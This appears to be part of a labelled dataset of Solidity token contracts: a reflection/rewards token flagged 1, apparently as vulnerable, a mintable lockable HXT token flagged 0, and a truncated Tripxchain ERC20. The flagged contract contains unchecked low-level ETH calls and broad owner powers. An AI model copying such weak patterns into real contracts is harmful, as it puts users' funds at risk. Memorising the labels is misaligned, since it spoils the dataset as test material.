event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
_inSwapAndLiquify = true;
_;
_inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
_uniswapRouterAddress
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFee[owner()] = true;
_isExcludedFee[address(this)] = true;
_isExcludedFee[treasuryWallet] = true;
}
function openTrading() external onlyOwner {
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
reflectionFee = _previousReflectFee;
buybackFee = _previousBuybackFee;
_tradingOpen = true;
launchTime = block.timestamp;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function MaxTXAmount() external view returns (uint256) {
return _maxTxAmount;
}
function MaxWalletSize() external view returns (uint256) {
return _maxWalletSize;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedReward[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function setMaxTxnAmount(uint256 maxTxAmountPercetange) external onlyOwner{
require(maxTxAmountPercetange < 1000, "Maximum amount per transaction must be lower than 100%");
require(maxTxAmountPercetange > 1, "Maximum amount per transaction must be higher than 0.1%");
_maxTxAmount = _tTotal.mul(maxTxAmountPercetange).div(1000);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxWalletSize(uint256 maxWalletSizePercentage) external onlyOwner{
require(maxWalletSizePercentage < 1000, "Maximum wallet size must be lower than 100%");
require(maxWalletSizePercentage > 20, "Maximum wallet size must be higher than 2%");
_maxWalletSize = _tTotal.mul(maxWalletSizePercentage).div(1000);
emit MaxWalletSizeUpdated(_maxWalletSize);
}
function getLastETHRewardsClaim(address wallet)
external
view
returns (uint256)
{
return _rewardsLastClaim[wallet];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) external {
address sender = _msgSender();
require(
!_isExcludedReward[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(address(0), tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(address(0), tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) external onlyOwner {
require(!_isExcludedReward[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedReward[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcludedReward[account], 'Account is already included');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcludedReward[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (
(to == uniswapV2Pair || _isUniswapPair[to]) &&
from != address(uniswapV2Router) &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
if (
to != uniswapV2Pair &&
!_isUniswapPair[to] &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (_isMaxBuyActivated) {
if (block.timestamp <= launchTime + 30 minutes) {
require(amount <= _maximumBuyAmount, "Amount too much");
}
}
}
_rewardsLastClaim[to] = block.timestamp;
bool excludedFromFee = false;
if (
(from == uniswapV2Pair || _isUniswapPair[from]) &&
to != address(uniswapV2Router)
) {
if (!isExcludedFromFee(to)) {
require(_tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
_rewardsLastClaim[from] = block.timestamp;
} else {
excludedFromFee = true;
}
}
if (
!_inSwapAndLiquify &&
_tradingOpen &&
(to == uniswapV2Pair || _isUniswapPair[to])
) {
uint256 _contractTokenBalance = balanceOf(address(this));
if (_contractTokenBalance > 0) {
if (
_contractTokenBalance > balanceOf(uniswapV2Pair).mul(feeRate).div(100)
) {
_contractTokenBalance = balanceOf(uniswapV2Pair).mul(feeRate).div(
100
);
}
_swapTokens(_contractTokenBalance);
}
_rewardsLastClaim[from] = block.timestamp;
_isSelling = true;
excludedFromFee = isExcludedFromFee(from);
}
bool takeFee = false;
if (
(from == uniswapV2Pair ||
to == uniswapV2Pair ||
_isUniswapPair[to] ||
_isUniswapPair[from]) && !excludedFromFee
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
_isSelling = false;
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
uint256 ethBalanceBefore = address(this).balance;
_swapTokensForEth(_contractTokenBalance);
uint256 ethBalanceAfter = address(this).balance;
uint256 ethBalanceUpdate = ethBalanceAfter.sub(ethBalanceBefore);
uint256 _liquidityFeeTotal = _liquidityFeeAggregate(address(0));
ethRewardsBalance += ethBalanceUpdate.mul(ethRewardsFee).div(
_liquidityFeeTotal
);
uint256 treasuryETHBalance = ethBalanceUpdate.mul(treasuryFee).div(
_liquidityFeeTotal
);
if (treasuryETHBalance > 0) {
_sendETHToTreasury(treasuryETHBalance);
}
uint256 buybackETHBalance = ethBalanceUpdate.mul(buybackFee).div(
_liquidityFeeTotal
);
if (buybackETHBalance > 0) {
_buyBackTokens(buybackETHBalance);
}
}
function _sendETHToTreasury(uint256 amount) private {
treasuryWallet.call{ value: amount }('');
}
function _buyBackTokens(uint256 amount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = buybackTokenAddress;
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0,
path,
buybackReceiver,
block.timestamp
);
emit SwapETHForTokens(buybackReceiver, amount, path);
}
function _swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) _removeAllFee();
if (_isExcludedReward[sender] && !_isExcludedReward[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) _restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
seller,
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = _calculateReflectFee(tAmount);
uint256 tLiquidity = _calculateLiquidityFee(seller, tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcludedReward[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(reflectionFee).div(10**2);
}
function _liquidityFeeAggregate(address seller)
private
view
returns (uint256)
{
uint256 feeMultiplier = _isSelling && !canClaimRewards(seller)
? feeSellMultiplier
: 1;
return (treasuryFee.add(ethRewardsFee).add(buybackFee)).mul(feeMultiplier);
}
function _calculateLiquidityFee(address seller, uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFeeAggregate(seller)).div(10**2);
}
function _removeAllFee() private {
if (
reflectionFee == 0 &&
treasuryFee == 0 &&
ethRewardsFee == 0 &&
buybackFee == 0
) return;
_previousReflectFee = reflectionFee;
_previousTreasuryFee = treasuryFee;
_previousETHRewardsFee = ethRewardsFee;
_previousBuybackFee = buybackFee;
reflectionFee = 0;
treasuryFee = 0;
ethRewardsFee = 0;
buybackFee = 0;
}
function _restoreAllFee() private {
reflectionFee = _previousReflectFee;
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
buybackFee = _previousBuybackFee;
}
function getSellSlippage(address seller) external view returns (uint256) {
uint256 feeAgg = treasuryFee.add(ethRewardsFee).add(buybackFee);
return
isExcludedFromFee(seller) ? 0 : !canClaimRewards(seller)
? feeAgg.mul(feeSellMultiplier)
: feeAgg;
}
function isUniswapPair(address _pair) external view returns (bool) {
if (_pair == uniswapV2Pair) return true;
return _isUniswapPair[_pair];
}
function eligibleForRewardBooster(address wallet) public view returns (bool) {
return
boostRewardsContract != address(0) &&
IConditional(boostRewardsContract).passesTest(wallet);
}
function isExcludedFromFee(address account) public view returns (bool) {
return
_isExcludedFee[account] ||
(feeExclusionContract != address(0) &&
IConditional(feeExclusionContract).passesTest(account));
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcludedReward[account];
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFee[account] = false;
}
function setRewardsClaimTimeSeconds(uint256 _seconds) external onlyOwner {
require(_seconds >= 0 &&_seconds <= 60 * 60 * 24 * 7, 'claim time delay must be greater or equal to 0 seconds and less than or equal to 7 days');
rewardsClaimTimeSeconds = _seconds;
}
function setNewFeesPercentages(uint256 _reflectionNewFee, uint256 _treasuryNewFee, uint256 _ethRewardsNewFee, uint256 _buybackRewardsNewFee) external onlyOwner {
require(_reflectionNewFee + _treasuryNewFee + _ethRewardsNewFee + _buybackRewardsNewFee <= 10, 'Tax cannot be higher than 10%');
reflectionFee = _reflectionNewFee;
treasuryFee = _treasuryNewFee;
ethRewardsFee = _ethRewardsNewFee;
buybackFee = _buybackRewardsNewFee;
}
function setFeeSellMultiplier(uint256 multiplier) external onlyOwner {
require(multiplier <= 2, 'must be less than or equal to 2');
feeSellMultiplier = multiplier;
}
function setTreasuryAddress(address _treasuryWallet) external onlyOwner {
treasuryWallet = payable(_treasuryWallet);
_isExcludedFee[treasuryWallet] = true;
}
function setIsMaxBuyActivated(bool _value) public onlyOwner {
_isMaxBuyActivated = _value;
}
function setBuybackTokenAddress(address _tokenAddress) external onlyOwner {
buybackTokenAddress = _tokenAddress;
}
function setBuybackReceiver(address _receiver) external onlyOwner {
buybackReceiver = _receiver;
}
function addUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = true;
}
function removeUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = false;
}
function setBoostRewardsPercent(uint256 perc) external onlyOwner {
boostRewardsPercent = perc;
}
function setBoostRewardsContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
boostRewardsContract = _contract;
}
function setFeeExclusionContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
feeExclusionContract = _contract;
}
function isRemovedSniper(address account) external view returns (bool) {
return _isSniper[account];
}
function removeSniper(address account) external onlyOwner {
require(account != _uniswapRouterAddress, 'We can not blacklist Uniswap');
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function calculateETHRewards(address wallet) public view returns (uint256) {
uint256 baseRewards = ethRewardsBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > ethRewardsBalance ? baseRewards : rewardsWithBooster;
}
function calculateTokenRewards(address wallet, address tokenAddress)
public
view
returns (uint256)
{
IERC20 token = IERC20(tokenAddress);
uint256 contractTokenBalance = token.balanceOf(address(this));
uint256 baseRewards = contractTokenBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > contractTokenBalance
? baseRewards
: rewardsWithBooster;
}
function claimETHRewards() external {
require(
balanceOf(_msgSender()) > 0,
'You must have a balance to claim ETH rewards'
);
require(
canClaimRewards(_msgSender()),
'Must wait claim period before claiming rewards'
);
_rewardsLastClaim[_msgSender()] = block.timestamp;
uint256 rewardsSent = calculateETHRewards(_msgSender());
ethRewardsBalance -= rewardsSent;
_msgSender().call{ value: rewardsSent }('');
emit SendETHRewards(_msgSender(), rewardsSent);
}
function canClaimRewards(address user) public view returns (bool) {
if (_rewardsLastClaim[user] == 0) {
return
block.timestamp > launchTime.add(rewardsClaimTimeSeconds);
}
else {
return
block.timestamp > _rewardsLastClaim[user].add(rewardsClaimTimeSeconds);
}
}
function claimTokenRewards(address token) external {
require(
balanceOf(_msgSender()) > 0,
'You must have a balance to claim rewards'
);
require(
IERC20(token).balanceOf(address(this)) > 0,
'We must have a token balance to claim rewards'
);
require(
canClaimRewards(_msgSender()),
'Must wait claim period before claiming rewards'
);
_rewardsLastClaim[_msgSender()] = block.timestamp;
uint256 rewardsSent = calculateTokenRewards(_msgSender(), token);
IERC20(token).transfer(_msgSender(), rewardsSent);
emit SendTokenRewards(_msgSender(), token, rewardsSent);
}
function setFeeRate(uint256 _rate) external onlyOwner {
feeRate = _rate;
}
function manualswap(uint256 amount) external onlyOwner {
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
_swapTokens(amount);
}
function emergencyWithdraw() external onlyOwner {
payable(owner()).send(address(this).balance);
}
receive() external payable {}
} | 1 | 2,321 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
contract Pausable is Ownable {
bool public paused;
event Paused(address account);
event Unpaused(address account);
constructor() internal {
paused = false;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused(msg.sender);
}
}
contract BaseToken is Pausable {
using SafeMath for uint256;
string constant public name = '华夏全球通证';
string constant public symbol = 'HXT';
uint8 constant public decimals = 18;
uint256 public totalSupply = 1e30;
uint256 constant public _totalLimit = 1e32;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _transfer(address from, address to, uint value) internal {
require(to != address(0));
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
totalSupply = totalSupply.add(value);
require(_totalLimit >= totalSupply);
balanceOf[account] = balanceOf[account].add(value);
emit Transfer(address(0), account, value);
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = allowance[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
require(spender != address(0));
allowance[msg.sender][spender] = allowance[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}
}
contract BurnToken is BaseToken {
event Burn(address indexed from, uint256 value);
function burn(uint256 value) public whenNotPaused returns (bool) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(msg.sender, value);
return true;
}
function burnFrom(address from, uint256 value) public whenNotPaused returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(from, value);
return true;
}
}
contract BatchToken is BaseToken {
function batchTransfer(address[] addressList, uint256[] amountList) public returns (bool) {
uint256 length = addressList.length;
require(addressList.length == amountList.length);
require(length > 0 && length <= 20);
for (uint256 i = 0; i < length; i++) {
transfer(addressList[i], amountList[i]);
}
return true;
}
}
contract LockToken is BaseToken {
struct LockItem {
uint256 endtime;
uint256 remain;
}
struct LockMeta {
uint8 lockType;
LockItem[] lockItems;
}
mapping (address => LockMeta) public lockData;
event Lock(address indexed lockAddress, uint8 indexed lockType, uint256[] endtimeList, uint256[] remainList);
function _transfer(address from, address to, uint value) internal {
uint8 lockType = lockData[from].lockType;
if (lockType != 0) {
uint256 remain = balanceOf[from].sub(value);
uint256 length = lockData[from].lockItems.length;
for (uint256 i = 0; i < length; i++) {
LockItem storage item = lockData[from].lockItems[i];
if (block.timestamp < item.endtime && remain < item.remain) {
revert();
}
}
}
super._transfer(from, to, value);
}
function lock(address lockAddress, uint8 lockType, uint256[] endtimeList, uint256[] remainList) public onlyOwner returns (bool) {
require(lockAddress != address(0));
require(lockType == 0 || lockType == 1 || lockType == 2);
require(lockData[lockAddress].lockType != 1);
lockData[lockAddress].lockItems.length = 0;
lockData[lockAddress].lockType = lockType;
if (lockType == 0) {
emit Lock(lockAddress, lockType, endtimeList, remainList);
return true;
}
require(endtimeList.length == remainList.length);
uint256 length = endtimeList.length;
require(length > 0 && length <= 12);
uint256 thisEndtime = endtimeList[0];
uint256 thisRemain = remainList[0];
lockData[lockAddress].lockItems.push(LockItem({endtime: thisEndtime, remain: thisRemain}));
for (uint256 i = 1; i < length; i++) {
require(endtimeList[i] > thisEndtime && remainList[i] < thisRemain);
lockData[lockAddress].lockItems.push(LockItem({endtime: endtimeList[i], remain: remainList[i]}));
thisEndtime = endtimeList[i];
thisRemain = remainList[i];
}
emit Lock(lockAddress, lockType, endtimeList, remainList);
return true;
}
}
contract MintToken is BaseToken {
uint256 constant public mintMax = 0;
uint256 public mintTotal;
uint256 constant public mintBegintime = 1544381539;
uint256 constant public mintPerday = 0;
event Mint(address indexed to, uint256 value);
function mint(address to, uint256 value) public onlyOwner returns (bool) {
require(block.timestamp >= mintBegintime);
require(value > 0);
if (mintPerday > 0) {
uint256 currentMax = (block.timestamp - mintBegintime).mul(mintPerday) / (3600 * 24);
uint256 leave = currentMax.sub(mintTotal);
require(leave >= value);
}
mintTotal = mintTotal.add(value);
if (mintMax > 0 && mintTotal > mintMax) {
revert();
}
_mint(to, value);
emit Mint(to, value);
return true;
}
function mintToMax(address to) public onlyOwner returns (bool) {
require(block.timestamp >= mintBegintime);
require(mintMax > 0);
uint256 value;
if (mintPerday > 0) {
uint256 currentMax = (block.timestamp - mintBegintime).mul(mintPerday) / (3600 * 24);
value = currentMax.sub(mintTotal);
uint256 leave = mintMax.sub(mintTotal);
if (value > leave) {
value = leave;
}
} else {
value = mintMax.sub(mintTotal);
}
require(value > 0);
mintTotal = mintTotal.add(value);
_mint(to, value);
emit Mint(to, value);
return true;
}
}
contract CustomToken is BaseToken, BurnToken, BatchToken, LockToken, MintToken {
constructor() public {
owner = 0xbCADE28d8C2F22345165f0e07C94A600f6C4e925;
balanceOf[0xbCADE28d8C2F22345165f0e07C94A600f6C4e925] = totalSupply;
emit Transfer(address(0), 0xbCADE28d8C2F22345165f0e07C94A600f6C4e925, totalSupply);
}
} | 0 | 1,097 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Tripxchain is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "TXC";
name = "Tripxchain";
decimals = 0;
_totalSupply = 3000000000 * 0**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
